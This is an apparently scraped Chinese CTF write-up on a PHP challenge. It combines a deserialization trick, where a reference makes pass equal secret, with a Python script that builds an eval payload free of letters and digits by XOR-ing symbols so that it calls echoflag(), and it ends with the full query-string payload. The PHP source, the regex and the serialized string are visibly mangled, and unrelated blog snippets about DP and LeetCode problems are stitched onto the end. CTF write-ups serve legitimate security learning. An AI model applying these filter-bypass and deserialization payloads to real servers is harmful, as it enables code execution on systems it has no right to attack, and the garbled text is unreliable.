markdown用的不好,並且有寫的不恰當的地方還請大佬指正,這題主要的知識點是php反序列化和無數字字母執行函式獲取webshell
<?php
include
"flag.php"
;show_source
(__file__);
class
userif(
isset
($_get
['id'])
)if(preg_match
("/[a-za-z0-9]+/"
,$cap))
eval
($cap);
// try to execute echoflag()
}else
}else
}else
}else
php**審計。對傳入的引數id進行了反序列化,然後serect屬性被賦了$flag1變數的值,顯然這裡的$flag1是flagh.php的變數,然後進行了第一層if語句的判斷,判斷name屬性的值是否等於"admin"以及判斷pass屬性和secret屬性的值是否相等。
這裡的name屬性很好搞定,但是pass和secret相等就要想辦法實現,這裡的難搞之處在於secret被重新賦值了,而卻$flag1的值我們是不知道的。所以這裡就要用到乙個知識點,那就是指標引用的序列化,有關序列化的問題這篇部落格講的比較詳細:
總之就是如果$a=&$b,那麼a就是對b的指標引用,簡而言之如果$b的值改變,那麼$a的值也發生改變並且與$b相等,所以我們就可以讓user類中的pass屬性指標引用serect屬性,那麼就可以實現$usr->pass === $usr->secret了,構造id為:
id=o:4:
"user":3
:
即可繞過第乙個if。(這裡的serect是任取的,反正後面還要賦值)
那麼接著看,下面要傳入乙個引數caption,而且對此引數存在著長度的過濾和數字字母的過濾。並且注釋提示我們要執行echoflag函式,這裡就可以參考hint中的無數字字母執行函式getshell的方法,採用異或的方式來使用特殊字元來建構函式並執行。
異或構造echoflag python指令碼:
str
= r"~!@#$%^&*()_+<>?,.;:-{}\/"
str2=
"echoflag"
for ch in str2:
for i in
range(0
,len
(str))
:for j in
range(0
,len
(str))
: a =
ord(
str[i])^
ord(
str[j])if
chr(a)
==ch:
print
(str
[i]+
' ^ '
+str
[j]+
' is '
+chr
(a))
;
caption=\$_
="@\(/},?<"
^"%?@@;@^["
;\$_()
;// 這裡的\$_代表乙個變數,字串 "@\(/},?<"^"%?@@;@^[" 就是echoflag,然後是\$_();就是執行函式echoflag();
//所以payload就是
?id=o:4:
"user":3
:&caption=\$_
="@\(/},?<"
^"%?@@;@^["
;\$_()
;
然後即得flag:flag
emmmmm,這個flag。。。。
毒瘤 dp 題做題記錄
題目鏈結 設 f 表示以 i 結尾的一組選擇了 j 個數,剩下的也能湊出一組時,剩下一組結尾數的最小值。當 a a i 時,i 與 i 1 可以分到一組,因此 f max f f 當 a f 時,i 1 能分到剩下的一組,該組原有 j i 個數,因此 f max f a i include incl...
ACM數學題做題記錄
僅以此部落格記錄每次遇到的數論,以便日後的複習 口胡 根本不可能再看 1.2020icpc 小公尺 網路選拔賽第一場 intelligent warehouse 數學 2.2020牛客noip賽前集訓營 提高組 第一場 牛牛的方程式 求解不定方程 3.math problem 2017廣西邀請賽 矩...
LeetCode 第1題 兩數之和 做題記錄
更優解法 收穫總結 給定乙個整數陣列 nums 和乙個整數目標值 target,請你在該陣列中找出 和為目標值 的那 兩個 整數,並返回它們的陣列下標。你可以假設每種輸入只會對應乙個答案。但是,陣列中同乙個元素不能使用兩遍。你可以按任意順序返回答案。作為題庫中的第一題,最直接的方法就是兩層迴圈遍歷,...